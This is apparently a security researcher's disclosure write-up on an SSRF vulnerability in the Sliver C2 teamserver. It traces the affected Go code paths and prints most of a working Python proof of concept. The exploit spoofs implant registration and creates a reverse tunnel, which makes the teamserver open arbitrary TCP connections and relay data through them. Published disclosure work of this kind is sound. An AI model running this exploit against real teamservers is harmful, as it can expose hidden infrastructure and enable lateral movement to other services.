Summary

Sliver C2 is a open source cross-platform adversary emulation/red team framework utilized by red teamers and threat actors alike. While auditing the codebase, I was able to discover a vulnerability in which attackers could open a TCP connection on the teamserver to an arbitrary IP/port, and read and write traffic through the socket (a powerful form of SSRF). The consequences of exploiting this vulnerability could be anything from leaking teamserver IPs behind redirectors to moving laterally from the teamserver to other services.

What servers are affected?

Versions (basically servers installed since Sep 2022)
v1.5.26 to v1.5.42
v1.6.0 < 0f340a2

Attacker: Has access to a C2 port (ex: mtls --lport 8443)
AND
Has at least ONE of
    a) access to a staging listener port serving non-encrypted shellcode (ex: stage-listener --url tcp://0.0.0.0:443 --profile win-shellcode)
    b) access to a stager/generated implant binary (from a staging directory, being dropped in target environment, served from a staging listener)

You can find the advisory for this issue here and the patched release here

Understanding implant callback handling

Sliver supports listeners of multiple transport types, such as mTLS, HTTP(S) and DNS. When an operator starts a listener, the teamserver will open a port which is processed by protocol-specific backend code. These ports might be accessible directly on the teamserver or they might be routed to with redirectors, like how it is shown in the picture below. The teamserver could exist either on a VPS in the cloud, or on-prem

meow1
ZeroPointSecurity’s visualization of secure C2 infrastructure from the Red Team Ops II course

Each listener type has a separate codebase for processing traffic of different protocol types, Although each listener type has codebase differences since they handle different protocols, they will all process the implant traffic into a structured format (an Envelope) and pass execution to a protocol-generic handler.

Let’s begin by tracing the code of the mTLS listener to the sink.

This function handles both Implant->Teamserver traffic and Teamserver->Implant traffic over the net.Conn object. At [1] we see a Goroutine started that is responsible for Implant -> Teamserver traffic. At [2], we see an envelope being read from the implant connection. At [3] there is a check to see if the envelope.Type exists in the handlers map returned by serverHandlers.GetHandlers(). Upon finding a matching handler for an envelope, it will call the associated function shown in [4] with the implant connection object and envelope.Data.

// server/c2/mtls.go
func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")tunnelDataHandler
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() { // [1]
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn) // [2]
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp[envelope.ID]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers[envelope.Type]; ok { // [3]
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data) // [4]
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()
...


By spoofing implant traffic, we could get to this point in the code and call any function of our choosing returned from serverHandlers.GetHandlers() by setting the envelope.Type variable. We would also have control over the parameters passed to our function of choosing (implantConn, envelope.Data)

Let’s look at which functions we can hit, by referring to the code of serverHandlers.GetHandlers(). To exploit this vulnerability, we will need to:
- register a session by hitting registerSessionHandler function at [1]
- open a reverse tunnel by hitting tunnelDataHandler function at [2]

// server/handlers/handlers.go
// GetHandlers - Returns a map of server-side msg handlers
func GetHandlers() map[uint32]ServerHandler {
	return map[uint32]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler, // [1]
		sliverpb.MsgTunnelData:  tunnelDataHandler,  // [2]
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}

Let’s look at the registerSessionHandler function.

At [1], the core.NewSession function is called which generates a session object associated with our implant connection. At [2], this object is added to the teamservers list of known sessions. This list will be later checked to ensure our connection has an associated session, ensuring registration has occured before doing anything else.

// server/handlers/sessions.go
func registerSessionHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	if implantConn == nil {
		return nil
	}
	register := &sliverpb.Register{}
	err := proto.Unmarshal(data, register)
	if err != nil {
		sessionHandlerLog.Errorf("Error decoding session registration message: %s", err)
		return nil
	}

	session := core.NewSession(implantConn) // [1]

	// Parse Register UUID
	sessionUUID, err := uuid.Parse(register.Uuid)
	if err != nil {
		sessionUUID = uuid.New() // Generate Random UUID
	}
	session.Name = register.Name
	session.Hostname = register.Hostname
	session.UUID = sessionUUID.String()
	session.Username = register.Username
	session.UID = register.Uid
    ...

	core.Sessions.Add(session) // [2]
	implantConn.Cleanup = func() {
		core.Sessions.Remove(session.ID)
	}
	go auditLogSession(session, register)
	return nil
}

Let’s look at the second function we have to call, tunnelDataHandler. At [1] we see the previously mentioned registration check, which will stop us if our connection has not yet been associated with a session object. Further down at [2], we see a function named createReverseTunnelHandler which certainly sounds interesting from the perspective of achieving SSRF. At [3], we can see the conditions to hit this branch is that the rtunnel variable needs to be nil, which we can achieve by sending an invalid TunnelID (see [4]) and that tunnelData.CreateReverse is set to true. This should be as simple as setting this field to true in our implant request. implantConn and data are both passed to createReverseTunnelDataHandler, both of which we control.

// server/handlers/session.go
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn) // [1]
	if session == nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID) // [4]
	if rtunnel != nil && session.ID == rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel == nil && tunnelData.CreateReverse == true { // [3]
		createReverseTunnelHandler(implantConn, data) // [2]
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID == tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}

At [1] we see our implant’s data being unmarshaled into a TunnelData struct after which the Host field and the Port field are passed to a Sprintf call at [2] in the format of IP:PORT. At [3] we see this string being passed to a DialContext call. At this point, we have already coerced the teamserver to open a TCP connection to an arbitrary address, which is sufficient for leaking C2 server IPs behind redirectors. However, we need to see how to write and read from the connection to achieve full SSRF

At [4], we see NewRTunnel called, passing dst (our TCP connection) to return a tunnel struct. The tunnel.Writer field will contained the dst object. At [5], we see a call to tunnel.Writer.Write(...) which writes the data sent by the implant (recv.Data) over the TCP connection.

// server/handlers/sessions.go
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)  // [1]

	var defaultDialer = new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port) // [2]

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress) // [3]
	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("[portfwd] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 * time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst) // [4]
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers[0]
		n, err := io.Copy(tWriter, tunnel.Readers[0])
		_ = n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data) // [5]

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
		// {{end}}
	}
	...

Let’s see how we can read the from the TCP connection. Jumping back to handleSliverConnection (recall that this handles both Implant->Teamserver traffic and Teamserver->Implant traffic), we see at the bottom of the function a loop is started which will wait for the server to attempt to send data to our implant, upon which it will call the socketWriteEnvelope function.

// server/c2/mtls.go
Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}

The socketWriteEnvelope will deconstruct the envelope object and send it over the network connection. In terms of writing the exploit, we will just need to read from the socket after exploiting the SSRF.

// server/c2/mtls.go
// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error {
	data, err := proto.Marshal(envelope)
	if err != nil {
		mtlsLog.Errorf("Envelope marshaling error: %v", err)
		return err
	}
	dataLengthBuf := new(bytes.Buffer)
	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
	connection.Write(dataLengthBuf.Bytes())
	connection.Write(data)
	return nil
}

But in order to write data back to the implant (occuring in the call to socketWriteEnvelope), the teamserver needs to read the response data from the TCP connection. This occurs back in the createReverseTunnelHandler function, in a goroutine. The goroutine will block on the call to io.Copy at [1], waiting for tunnel.Readers[0] to be written to (the response over the TCP connection) and copy it to tWriter. The tWriter object is an implementation of the Writer interface which requires implementing a Write method which is called when io.Copy occurs.

// server/handlers/sessions.go
    go func() {
        tWriter := tunnelWriter{
            tun:  tunnel,
            conn: implantConn,
        }
        // portfwd only uses one reader, hence the tunnel.Readers[0]
        n, err := io.Copy(tWriter, tunnel.Readers[0]) // [1]
        _ = n // avoid not used compiler error if debug mode is disabled
        // {{if .Config.Debug}}
        sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
        // {{end}}

        cleanup(err)
    }()

The Write method for the tunnelWriter type is as shown. The data (the TCP response) is put into a TunnelData protobuf and sent to the implant connection at [1] with tw.conn.Send <- data as an envelope. Recall that in the Loop in handleSliverConnection, it will wait on the channel for an envelope to be sent over it (envelope := <-implantConn.Send), after which, it will send the envelope back to the implant over the implant connection. This is how we will be able to get the response from the TCP connection.

func (tw tunnelWriter) Write(data []byte) (int, error) {
	n := len(data)
	data, err := proto.Marshal(&sliverpb.TunnelData{
		Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
		Ack:      tw.tun.ReadSequence(),
		TunnelID: tw.tun.ID,
		Data:     data,
	})
	// {{if .Config.Debug}}
	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
	// {{end}}
	tw.tun.IncWriteSequence() // Increment write sequence
	tw.conn.Send <- &sliverpb.Envelope{ // [1]
		Type: sliverpb.MsgTunnelData,
		Data: data,
	}
	return n, err
}

We have now identified all portions of the codebase required to hit to achieve full-read SSRF. Let’s see if we can actually make a poc for it.

Writing the exploit

Although this vulnerability can be exploited over different protocol handler types, we will focus on making it for mTLS. To make an mTLS connection, we need client certificates/keys, which could be obtained from a staging/shellcode listener (stage-listener) or a generated binary/loader.

@AceResponder’s RogueSliver project shows how to extract these client certificates/keys from a sliver implant. It also provides examples on how to work with sliver’s protobufs, so I am using it as a starting point for the code.

This is the high-level steps to exploit this vulnerability. At [1] we make a connection to the teamserver mTLS listener. The next step is registration, which is shown at [2], involves calling generate_create_reverse_tunnel_envelope and writing this envelope to the socket as well as the length. A similar thing is done to create the reverse tunnel at [3], generating an envelope and writing it to the socket. At [4] we will read from the socket to retrieve the response.

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	with ssl_ctx.wrap_socket(s,) as ssock:
		ssock.connect((ip, port)) # [1]
		ssock.settimeout(0.5)

		print("[***] Registering session")
		registration_envelope = generate_registration_envelope().SerializeToString() # [2]
		registration_envelope_len = struct.pack('I', len(registration_envelope))
		ssock.write(registration_envelope_len + registration_envelope) # [2]
		time.sleep(0.5)

		print("[***] Creating tunnel")
		reverse_tunnel_envelope = generate_create_reverse_tunnel_envelope(callback_ip, callback_port, data).SerializeToString() # [3]
		reverse_tunnel_envelope_len = struct.pack('I', len(reverse_tunnel_envelope))
		ssock.write(reverse_tunnel_envelope_len + reverse_tunnel_envelope) # [3]
		print("[***] Sent data\n" + data.decode().rstrip())

		print("[***] Reading from connection")
		for i in range(4): # [4]
			try:
				print(ssock.read().decode(errors='ignore')) # [4]
			except: continue

Lets look at the generate_registration_envelope and generate_create_reverse_tunnel_envelope functions. For both functions, we start with a dictionary which will be formatted and serialized into an Envelope protobuf. The contents of the registration dictionary don’t really matter, but for exploitation, we need to set some of the tunnel dictionary fields.

We can see at [1] we set CreateReverse to True so we can hit the branch in tunnelDataHandler that allows us to create a new reverse tunnel. At [2] we set the IP and port that we want the teamserver to open the tunnel to, and at [3] we specify the data in base64 that the teamserver will send over the tunnel.

def generate_registration_envelope():
    random_string = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
    register_data = {
            "Name": random_string,
            "Hostname": "chebuya-" + random_string + ".local",
            "Uuid": "uuid"+ random_string,
            "Username": "username"+ random_string,
            "Uid": "uid"+ random_string,
            "Gid": "gid"+ random_string,
            "Os": "os"+ random_string,
            "Arch": "arch"+ random_string,
            "Pid": 1337,
            "Filename": "filename"+ random_string,
            "ActiveC2": "activec2"+ random_string,
            "Version": "version"+ random_string,
            "ReconnectInterval": 1337,
            "ConfigID": "config_id"+ random_string,
            "PeerID": -1337,
            "Locale": "locale" + random_string
            }

    register = sliver.Register()
    json_format.Parse(json.dumps(register_data), register)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('Register')
    envelope.Data = register.SerializeToString()

    return envelope


def generate_create_reverse_tunnel_envelope(ip, port, data):
    tunnel_data = {
            "Data": base64.b64encode(data).decode(), # [3]
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True, # [1]
            "rportfwd": {
                "Port": port, # [2]
                "Host": ip, # [2]
                "TunnelID": 1,
                },
            "TunnelID": 1,
            }

    tunnel = sliver.TunnelData()
    json_format.Parse(json.dumps(tunnel_data), tunnel)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('TunnelData')
    envelope.Data = tunnel.SerializeToString()

    return envelope

That completes of most of the important parts of the exploit, the full version of which you can find here